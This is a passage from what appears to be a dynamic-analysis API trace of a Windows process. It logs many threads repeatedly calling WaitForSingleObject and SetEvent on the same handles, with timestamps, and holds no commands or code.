0x9cc [0059.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.561] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.725] SetEvent (hEvent=0x1a4) returned 1 [0059.725] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.856] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.260] SetEvent (hEvent=0x1a4) returned 1 [0060.260] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.288] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.078] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.433] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.851] SetEvent (hEvent=0x1a4) returned 1 [0063.851] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.153] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.182] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.974] SetEvent (hEvent=0x1a4) returned 1 [0064.974] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 118 os_tid = 0x9d0 [0059.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.570] SetEvent (hEvent=0x1a4) returned 1 [0059.570] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.729] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.869] SetEvent (hEvent=0x1a4) returned 1 [0059.869] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.265] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.297] SetEvent (hEvent=0x1a4) returned 1 [0060.297] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.164] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.723] SetEvent (hEvent=0x1a4) returned 1 [0063.723] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.879] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.137] SetEvent (hEvent=0x1a4) returned 1 [0064.137] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.163] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.628] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.011] SetEvent (hEvent=0x1a4) returned 1 [0065.011] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 119 os_tid = 0x9c4 [0059.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.570] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.729] SetEvent (hEvent=0x1a4) returned 1 [0059.729] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.869] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.266] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.296] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.175] SetEvent (hEvent=0x1a4) returned 1 [0063.175] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.721] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.879] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.136] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.163] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.623] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.005] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 120 os_tid = 0x810 [0059.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.571] SetEvent (hEvent=0x1a4) returned 1 [0059.571] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.739] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.868] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.267] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.295] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.082] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.712] SetEvent (hEvent=0x1a4) returned 1 [0063.712] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.866] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.127] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.157] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.609] SetEvent (hEvent=0x1a4) returned 1 [0064.609] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.006] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 121 os_tid = 0x620 [0059.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.571] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.739] SetEvent (hEvent=0x1a4) returned 1 [0059.739] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.868] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.268] SetEvent (hEvent=0x1a4) returned 1 [0060.268] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.295] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.093] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.711] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.867] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.126] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.158] SetEvent (hEvent=0x1a4) returned 1 [0064.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.604] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.007] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 122 os_tid = 0x9c0 [0059.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.571] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.728] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.867] SetEvent (hEvent=0x1a4) returned 1 [0059.867] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.262] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.294] SetEvent (hEvent=0x1a4) returned 1 [0060.294] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.103] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.713] SetEvent (hEvent=0x1a4) returned 1 [0063.713] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.879] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.135] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.164] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.678] SetEvent (hEvent=0x1a4) returned 1 [0064.678] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.034] SetEvent (hEvent=0x1a4) returned 1 [0065.034] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 123 os_tid = 0x7dc [0059.198] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.571] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.728] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.866] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.262] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.293] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.112] SetEvent (hEvent=0x1a4) returned 1 [0063.112] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.713] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.879] SetEvent (hEvent=0x1a4) returned 1 [0063.879] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.134] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.165] SetEvent (hEvent=0x1a4) returned 1 [0064.165] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.672] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.012] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 124 os_tid = 0x854 [0059.198] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.579] SetEvent (hEvent=0x1a4) returned 1 [0059.579] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.740] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.077] SetEvent (hEvent=0x1a4) returned 1 [0060.077] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.275] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.302] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.197] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.724] SetEvent (hEvent=0x1a4) returned 1 [0063.724] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.888] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.144] SetEvent (hEvent=0x1a4) returned 1 [0064.144] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.170] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.707] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.101] SetEvent (hEvent=0x1a4) returned 1 [0065.101] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 125 os_tid = 0x7fc [0059.198] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.579] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.740] SetEvent (hEvent=0x1a4) returned 1 [0059.740] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.077] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.275] SetEvent (hEvent=0x1a4) returned 1 [0060.275] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.302] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.202] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.724] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.889] SetEvent (hEvent=0x1a4) returned 1 [0063.889] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.143] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.170] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.023] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 126 os_tid = 0x784 [0059.198] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.581] SetEvent (hEvent=0x1a4) returned 1 [0059.581] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.740] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.879] SetEvent (hEvent=0x1a4) returned 1 [0059.879] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.271] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.299] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.142] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.713] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.131] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.161] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.637] SetEvent (hEvent=0x1a4) returned 1 [0064.637] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.010] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 127 os_tid = 0x398 [0059.198] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.580] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.740] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.272] SetEvent (hEvent=0x1a4) returned 1 [0060.272] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.298] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.153] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.712] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.878] SetEvent (hEvent=0x1a4) returned 1 [0063.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.131] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.162] SetEvent (hEvent=0x1a4) returned 1 [0064.162] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.632] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.010] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 128 os_tid = 0x53c [0059.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.583] SetEvent (hEvent=0x1a4) returned 1 [0059.583] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.832] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.089] SetEvent (hEvent=0x1a4) returned 1 [0060.089] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.273] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.304] SetEvent (hEvent=0x1a4) returned 1 [0060.304] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.417] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.733] SetEvent (hEvent=0x1a4) returned 1 [0063.733] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.888] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.138] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.168] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.722] SetEvent (hEvent=0x1a4) returned 1 [0064.722] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.068] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 129 os_tid = 0x90 [0059.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.583] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.833] SetEvent (hEvent=0x1a4) returned 1 [0059.833] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.089] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.274] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.303] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.417] SetEvent (hEvent=0x1a4) returned 1 [0063.417] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.732] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.888] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.138] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.169] SetEvent (hEvent=0x1a4) returned 1 [0064.169] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.715] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.084] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 130 os_tid = 0x768 [0059.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.582] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.745] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.077] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.269] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.301] SetEvent (hEvent=0x1a4) returned 1 [0060.301] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.207] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.723] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.887] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.140] SetEvent (hEvent=0x1a4) returned 1 [0064.140] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.166] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.666] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.013] SetEvent (hEvent=0x1a4) returned 1 [0065.013] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 131 os_tid = 0x848 [0059.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.582] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.745] SetEvent (hEvent=0x1a4) returned 1 [0059.745] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.077] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.270] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.300] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.213] SetEvent (hEvent=0x1a4) returned 1 [0063.213] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.723] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.887] SetEvent (hEvent=0x1a4) returned 1 [0063.887] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.139] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.167] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.660] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.009] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 132 os_tid = 0x834 [0059.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.697] SetEvent (hEvent=0x1a4) returned 1 [0059.697] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.833] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.095] SetEvent (hEvent=0x1a4) returned 1 [0060.095] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.282] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.048] SetEvent (hEvent=0x1a4) returned 1 [0062.048] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.434] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.850] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.976] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.149] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.178] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.903] SetEvent (hEvent=0x1a4) returned 1 [0064.903] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 133 os_tid = 0x7d8 [0059.199] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.697] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.834] SetEvent (hEvent=0x1a4) returned 1 [0059.834] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.094] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.283] SetEvent (hEvent=0x1a4) returned 1 [0060.283] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.042] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.434] SetEvent (hEvent=0x1a4) returned 1 [0063.434] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.850] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.978] SetEvent (hEvent=0x1a4) returned 1 [0063.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.148] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.179] SetEvent (hEvent=0x1a4) returned 1 [0064.179] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.890] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.156] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 134 os_tid = 0x6f0 [0059.200] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.700] SetEvent (hEvent=0x1a4) returned 1 [0059.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.833] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.093] SetEvent (hEvent=0x1a4) returned 1 [0060.093] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.278] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.617] SetEvent (hEvent=0x1a4) returned 1 [0061.617] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.421] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.736] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.896] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.147] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.174] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.749] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.052] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 135 os_tid = 0x84c [0059.200] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.699] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.833] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.091] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.279] SetEvent (hEvent=0x1a4) returned 1 [0060.279] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.602] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.422] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.736] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.897] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.146] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.175] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.834] SetEvent (hEvent=0x1a4) returned 1 [0064.835] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.156] SetEvent (hEvent=0x1a4) returned 1 [0065.157] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 136 os_tid = 0x788 [0059.334] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.343] SetEvent (hEvent=0x190) returned 1 [0059.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.704] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.871] SetEvent (hEvent=0x190) returned 1 [0059.871] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.014] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.059] SetEvent (hEvent=0x190) returned 1 [0062.059] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.101] WaitForSingleObject 